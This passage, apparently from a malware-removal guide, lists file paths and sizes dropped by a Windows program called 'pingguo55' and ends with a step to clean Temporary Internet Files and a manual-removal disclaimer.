   %Documents and Settings%\%current user%\Application Data\Pingguo55\Res\Res\resillegalword.dat (920 bytes)
   %Program Files%\pingguo55\ChatRoom\data\KingEnter.wav (25824 bytes)
   %Documents and Settings%\%current user%\Application Data\Pingguo55\Res\Equip\basegoodsfileinfo.dat (23424 bytes)
   %Program Files%\pingguo55\EquipCenter.dll (23424 bytes)
   %Program Files%\pingguo55\data\HTML\img\lock_cl.png (3 bytes)
   %Program Files%\pingguo55\data\addrs.dat (784 bytes)
   %Program Files%\pingguo55\ChatRoom\skin\runway_gift.gif (4 bytes)
   %Program Files%\pingguo55\Skin\DefSendedStarGift.gif (1 bytes)
   %Program Files%\pingguo55\Skin\LoadHtml\images\jz_icon.gif (821 bytes)
   %Program Files%\pingguo55\data\HTML\img\close.gif (395 bytes)
   %Program Files%\pingguo55\ChatRoom\Flash\E1314.xml (2 bytes)
   %Program Files%\pingguo55\Skin\DefFace_16.bmp (824 bytes)
   %Documents and Settings%\%current user%\Cookies\Current_User@re58[1].txt (604 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\z.ico (3 bytes)
   %Documents and Settings%\%current user%\Cookies\Current_User@re58[2].txt (277 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\Browser_V4.1.4627.19_r_4509_(Build150408)_1428944402.exe (28288 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\girlshow_22000025816.exe (33391 bytes)
   %Program Files%\pingguo55\Install\pingguo.exe.ggd (471123 bytes)
   %Documents and Settings%\%current user%\Cookies\Current_User@pingguo55[1].txt (200 bytes)
   %Program Files%\pingguo55\Install\pingguo.exe.ggb (905907 bytes)

4. Clean the Temporary Internet Files folder, which may contain infected files (How to clean Temporary Internet Files folder).
   

*Manual removal may cause unexpected system behaviour and should be performed at your own risk.